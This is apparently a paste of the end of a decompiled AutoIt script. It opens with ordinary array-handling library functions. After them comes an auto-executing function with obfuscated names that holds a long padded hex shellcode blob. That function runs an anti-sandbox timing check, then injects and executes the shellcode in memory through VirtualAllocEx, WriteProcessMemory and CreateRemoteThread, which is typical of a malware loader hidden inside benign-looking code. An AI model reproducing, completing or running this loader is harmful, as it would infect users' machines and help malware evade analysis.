  3414. Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0)
  3415.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3416.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  3417.     Local $iubound = UBound($avarray) - 1
  3418.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3419.     If $istart < 0 Then $istart = 0
  3420.     If $istart > $iend Then Return SetError(5, 0, 0)
  3421.     If $idirection Then
  3422.         For $i = $istart To $iend
  3423.             $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
  3424.         Next
  3425.     Else
  3426.         For $i = $istart To $iend
  3427.             $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
  3428.         Next
  3429.     EndIf
  3430.     Return 1
  3431. EndFunc
  3432.  
  3433. Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|")
  3434.     Local $iubounddim
  3435.     If $vdelim = "|" Then $vdelim = Chr(1)
  3436.     If NOT IsArray($aarray) Then Return SetError(1, 0, 0)
  3437.     If NOT $idimension > 0 Then
  3438.         Return SetError(3, 0, 0)
  3439.     Else
  3440.         $iubounddim = UBound($aarray, 1)
  3441.         If @error Then Return SetError(3, 0, 0)
  3442.         If $idimension > 1 Then
  3443.             Local $aarraytmp[1]
  3444.             For $i = 0 To $iubounddim - 1
  3445.                 _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
  3446.             Next
  3447.             _arraydelete($aarraytmp, 0)
  3448.         Else
  3449.             If UBound($aarray, 0) = 1 Then
  3450.                 Dim $aarraytmp[1]
  3451.                 For $i = 0 To $iubounddim - 1
  3452.                     _arrayadd($aarraytmp, $aarray[$i])
  3453.                 Next
  3454.                 _arraydelete($aarraytmp, 0)
  3455.             Else
  3456.                 Dim $aarraytmp[1]
  3457.                 For $i = 0 To $iubounddim - 1
  3458.                     _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
  3459.                 Next
  3460.                 _arraydelete($aarraytmp, 0)
  3461.             EndIf
  3462.         EndIf
  3463.     EndIf
  3464.     Local $shold
  3465.     For $icc = $ibase To UBound($aarraytmp) - 1
  3466.         If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc] & $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim
  3467.     Next
  3468.     If $shold Then
  3469.         $aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdelim)), $vdelim, 1)
  3470.         Return $aarraytmp
  3471.     EndIf
  3472.     Return SetError(2, 0, 0)
  3473. EndFunc
  3474.  
  3475. Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount)
  3476.     If $istart == $isize - 1 Then
  3477.         For $i = 0 To $isize - 1
  3478.             $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
  3479.         Next
  3480.         If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
  3481.         $icount += 1
  3482.     Else
  3483.         Local $itemp
  3484.         For $i = $istart To $isize - 1
  3485.             $itemp = $aidx[$i]
  3486.             $aidx[$i] = $aidx[$istart]
  3487.             $aidx[$istart] = $itemp
  3488.             __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount)
  3489.             $aidx[$istart] = $aidx[$i]
  3490.             $aidx[$i] = $itemp
  3491.         Next
  3492.     EndIf
  3493. EndFunc
  3494.  
  3495. Func __array_combinations($in, $ir)
  3496.     Local $i_total = 1
  3497.     For $i = $ir To 1 Step -1
  3498.         $i_total *= ($in / $i)
  3499.         $in -= 1
  3500.     Next
  3501.     Return $i_total
  3502. EndFunc
  3503.  
  3504. Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)
  3505.     If $ileft == $itotal Then
  3506.         $ileft -= 1
  3507.         Return
  3508.     EndIf
  3509.     Local $i = $ir - 1
  3510.     While $aidx[$i] == $in - $ir + $i
  3511.         $i -= 1
  3512.     WEnd
  3513.     $aidx[$i] += 1
  3514.     For $j = $i + 1 To $ir - 1
  3515.         $aidx[$j] = $aidx[$i] + $j - $i
  3516.     Next
  3517.     $ileft -= 1
  3518. EndFunc
  3519.  
  3520. _y0xc290d0743d86aba5040032d3e8d9b292()
  3521.  
  3522. Func _y0xc290d0743d86aba5040032d3e8d9b292()
  3523.     $_y0x47791c9793540e4227f10e59291ae678 = "E80D02000033C0C3GG8BG5424G0C8BG4CG24G04G8BC24A57G8BGF985C07412568D72G018BG5424GG10G8A0288014142GGG4E75F7G5EGG8BC75FC3558BEC51G51535657688657G0D0068884EGGGG0DGG00E8G1A00GGG00008945FC68FAG8B340068884E0DG00GGE808G0000G00GG8945F8E9GB50000G00558BGEC53G56G57GG5164FF3530000000GG588BGG400C8B48G0CG8B11G8B4130G6AG028B7D0857G50GE85BG00000085C074048BCAGEBE78B41G18GG508B58G3C03GC38B58785850G03D8G8B4B1C8B5320G8B5B24G03GGGC803D003D8G8B32G5850G03F06AG01FFG75G0CG56GE823G0000G0085GC0740883C20483C3G02EBE3G58GG33D2668BG13C1GE202GGG03CAG03G01595FGG5EG5BGG8BE5GG5DGC2080055G8BECG5153G52GG33C933DB33D28B45088A10GG80GGCA6003DAGGD1E30345GGGG108A0884GC9E0GEEG33C08BG4D0C3BD9GGG7401405AG5B598BE55DC2GGG0C008B45088B4DGFCG5F5E89G088B45G0C8B4DF85B8908C9GGGC3G558BEC81EC08040000535633DB5733GD2G8D85F8GFBGFFGGGGFFB900G01G00G00GG8910G4283GC004G3BGD1G7CF633FF8DB5F8FBGFFGFF8BGC733GD2F775148B45G0C0FB6040203G0603C38BD9G99F7GFB8AGG064788G45FF8BDAGGGG8B949DGGGGF8FBGFFFFGG891683C6G040FGB6G55FFG8DG84G9DGF8FBFFGFFG3BF9GG89G10G7CC483G6514G00837D100076G6B8D47018BF199F7FE8BGFA8B84BDF8FBFFFF8DB4GGBDF8FBFFGFF03C38BD999GGF7FB8AGGG0688G45FFG8BGGGDAG8BG949DF8FBFFGGFF8916G0FB655GGFF8D849DF8FBFFFF89550C89108B45148B550803C28945F8GG8B06G03450C8BGF199GF7GGFE8B75F88AG84G95F8FBGFFFF3006GFF4514GG8B4514GG3B451072958BG45085FG5E5BC9C3GC3558BECB82041G00G00E8510300G00535657GE8GEAFFFFGFFG33GDBGGGGC645E86BGC645E965C6G45GGGEA72C645EB6EC645GEC65GC645ED6CC645EE33C645EFGG32C645F0GG2EC645GGF1GG64C645F2G6CC6G45GF36CG885DF4C64594GG47GGGC645G9565GGGC645G9674GC645G97G4DC645G98GG6FGC6G459964GGC6G459AG75C645G9B6CC6GG459C65GC6459D46C6459EG69C645G9FGG6CC645A0G65C645A14EC645A261GC645A3G6DGC645A4G65C645A557885DA6C645B8G43C645B9GG72C6G45BA65GC6G45BBG61C6G45BCG74GC645GGGBD65GC6GG45BE46C6G45BF69GC645GC06CGC645GC165GGC6G45GC2G57885DC3GGC645GA8G56C6GGG45GA969C645GGGAAGGG72C6GG45GAB74GC6G45GAC75GGC6G45AD61C645AE6CC6GG45AF41C6G45GB06CC645B1G6CC6G45B26FC6G45B363885DGGB4C645D047C645D165GC6G45D274GGC6G45GD346C6G45GGGD469C6GG45D56CC645GGD665GGC645D753C645D8GG69GC645D97AGC645DA6588G5DDBGC645DC52C645GGDD65C645DE61C6G45DF64GGGGC6G45GE046G8D45FCGC645E1G6950GGG8DGG45F850GC645E26CC645GGE3G65885DE4C6G45GC4GGG43C6G45C56CC6GG45C66FC6G45C773C645C865GC645C9G48C645CA61C6G45CB6EC6GGG45GCC64C645CD6CC645CEG65G88GGG5DCFGE899FCFFFF598D459459GG50G8D45GE850FF55F850FFG55FC8BF08D45GB8508D45GE850FF55F850GFF55FC89G856CFFFFGFF8D45A8508D45E8GGG50FFG55F8G50GFF55GGGFC89458CGG8D45D0GG508DG45GE850FFG55F850GFF55FC89GGG45908D45DC508D45E850FF55GGGF8G50FF55GGFC894588GG8DG45C450GG8D45GE8GGG50FFG55F8GG50FFGG55GFCGG894584B981GGGG00000033C0GGG8DBDG62GGFDFFFF6689G9DG60FDGFFGFF6804G01G0000F3ABG66AB8D8560GFDGFFGFFG5053GFFGGD6G5353G6A03G53GG6A01GG8DGGG8560FDFFGFFG68GG00G00G008050GGGFF95G6CFFFFFF8BF8G5357FFG55GG908BGGF0G6A40G68GG003000008DG8600G040000GGGGG5053FFG558C8DGGG8D68GGFFGFFGGFF5351G565057894590GFF558857FF5584GB99FGG0F000033C0GG8DGGGBDGE1GBEGFFGFF88G9DGE0BEGGGGFFFFGGGF3GAB66GABGGGAA33GC08DBD74GFFFFFFGGGGGGC685G71FFFFFFBDC68572GFFGGFFGFFGADGC68573GFFGFFGFFG1BABABGABGABG33C03BF3GC685G70GFFFFFFAAG76658BGG7DGGG90G803C38AA75G248A4CGG38013A8D71GGFFFFGGGFF75GGG188A4C3802GG3AG8D72GFFFFFF750C8A4C38033A8D73FFFFFFG740E8D4EFFG3BGC174GGGGGGG70G40GG3BC672GC7GEB2AGG33F603C7GG8A4CG3014888C35E0BEGGFFFF46GGG81GFE943E00G0072ECG33GGF6G8AG0CG30888C3570FFGGGGFFGFFGG46G83FEGG1472F0BE803E0000G6A148D85GG70FFGFFGGGGFF56G50GG8DG85E0BEFFGGGGGGFFGG50GGE8EEGFBFFGFF83C4G106AG4068003000G005653GFF55G8C8BGF8GG8DG85E0BEGFFFF565057E8ACGFAGFFGFF83C4GG0CGFFGD75F5E33GC05BC9C3CCCCCCCCCCCCCCCCG513D001000008DG4C240872G1481GGE9001000G002DG00G100000GG8501G3D001000G0073GGEC2BC8G8BC4GG85G018BE18B088B40G0450C3"
  3524.     If _winapi_createfile(@AutoItExe, 1, 2, 2) <> 0 Then _y0xc290d0743d86aba5040032d3e8d9b292()
  3525.     $_y0x67e3bdca4c03dd972f5bc951c8153ac6 = DllCall("kernel32.dll", "DWORD", "GetTickCount")
  3526.     DllCall("kernel32.dll", "int", "Sleep", "int", 100)
  3527.     $_y0xf6c9fcfbba71f8e3a7c7e344d1a90049 = DllCall("kernel32.dll", "DWORD", "GetTickCount")
  3528.     If $_y0x67e3bdca4c03dd972f5bc951c8153ac6[0] + 135 > $_y0xf6c9fcfbba71f8e3a7c7e344d1a90049[0] Then $_y0x47791c9793540e4227f10e59291ae678 = StringReplace($_y0x47791c9793540e4227f10e59291ae678, "G", "")
  3529.     Local $_y0x6f2c9a62ca0b468b49545025ab4e6b4c = DllStructCreate("byte[" & StringLen($_y0x47791c9793540e4227f10e59291ae678) / 2 & "]")
  3530.     For $_y0x6c3e1dd642972a5ed13122b8480d448f = 1 To DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c)
  3531.         DllStructSetData($_y0x6f2c9a62ca0b468b49545025ab4e6b4c, 1, Dec(StringMid($_y0x47791c9793540e4227f10e59291ae678, ($_y0x6c3e1dd642972a5ed13122b8480d448f - 1) * 2 + 1, 2)), $_y0x6c3e1dd642972a5ed13122b8480d448f)
  3532.     Next
  3533.     Local $_y0x86660dec3147ae42493bcdde95922e61, $_y0x0e6b2ff08d97d3cb1294380060de6ca5, $_y0x9355d363dd0a85289cfec30b86c24f69, $_y0xc3d76f24146ef14c76aaa135c785f276
  3534.     $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.Dll", "int", "OpenProcess", "int", 2035711, "int", 0, "int", _winapi_getcurrentprocessid())
  3535.     $_y0x0e6b2ff08d97d3cb1294380060de6ca5 = $_y0x86660dec3147ae42493bcdde95922e61[0]
  3536.     $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "VirtualAllocEx", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c) * 1000, "int", 4096, "int", 64)
  3537.     $_y0x9355d363dd0a85289cfec30b86c24f69 = $_y0x86660dec3147ae42493bcdde95922e61[0]
  3538.     $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "WriteProcessMemory", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", 0)
  3539.     $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "CreateRemoteThread", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int", 0, "int", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", 0, "int", 0, "int", 0)
  3540.     $_y0xc3d76f24146ef14c76aaa135c785f276 = $_y0x86660dec3147ae42493bcdde95922e61[0]
  3541.     Do
  3542.         $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "WaitForSingleObject", "int", $_y0xc3d76f24146ef14c76aaa135c785f276, "int", 50)
  3543.     Until $_y0x86660dec3147ae42493bcdde95922e61[0] <> 258
  3544.     DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0xc3d76f24146ef14c76aaa135c785f276)
  3545.     $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "VirtualFreeEx", "hwnd", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", 32768)
  3546.     DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5)
  3547.     _winapi_msgbox(0, 0, 0)
  3548. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement